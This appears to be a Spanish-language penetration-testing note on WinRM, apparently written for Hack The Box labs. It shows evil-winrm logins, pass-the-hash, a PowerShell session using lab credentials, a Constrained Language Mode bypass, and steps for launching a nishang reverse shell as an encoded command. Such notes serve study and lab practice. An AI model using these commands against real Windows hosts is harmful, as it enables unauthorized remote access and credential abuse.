winrm

Definición

Servicio por el cual los usuarios de windows pueden obtener una consola remote proporcionando credenciales. Estos usuarios tinen que pertenecer al groupo “Remote Management Users”.

Por defecto opera en los puertos -> 5985, 5986

Evil-winrm

Si tenemos credenciales válidas, que hemos comprobado con Crackmapexec y obtenemos “pwned” en winrm.

evil-winrm -i <ip> -u <user> -p <pass>

Pass-The-Hash

En caso de que tengamos un hash NT podemos aprovechar esta técnica con evil-winrm.

evil-winrm -i <ip> -u <user> -H <hash>

Esta herramienta nos ofrece distinas funciones incorporadas, mediante el comando menu nos lista todas, entre las que destacan upload y download download que para su correcto funcionamiento tienen que utilizarse rutas absolutas.

Cabe destacar que en ocasiones estas funciones propias de evil-winrm fallan.

Powershell

pwsh
$pass = ConvertTo-SecureString 'kittycat1' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('htb.local\k.svensson', $pass)

Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate

Constrained Language Mode

Nos conecta, pero nos muestra errores, aunque son errores de que no encuentra el comando, Get-Command nos muestra qué comandos podemos usar. Esta limitación puede ser porque nos encontramos en un Constrained Language Mode. Buscamos como comprobar si estamos limitado en google,

$ExecutionContext.SessionState.LanguageMode

Ejecutamos el comando para comprobarlo y vemos que estamos limitados. Toca bypassearlo.

Para bypassear el CLM, creamos una función y la ejecutamos.

function location{ Get-Location }; location

Y bypasseado. Aunque para escapar del contexto y operar cómodamente, nos ponemos en escucha con nc y rlwrap. Para este caso, utilizamos el repositorio de nishang. Y utilizamos el Invoke-PowerShellTcpOnelLine.ps1, nos copiamos la 3ª linea comentada, cambiamos la ip y jugamos con base64 para enviarlo. Pero al ser windows tenemos que aplicar un tratamiento no visible a simple vista.

cat data | iconv -t utf-16le | base64 -w 0;echo

Bajo un script block en la consola powershell con CLM:

&{ powershell -enc <data>}

Escrito el 07-12-2021 a las 06:05 pm por creep33.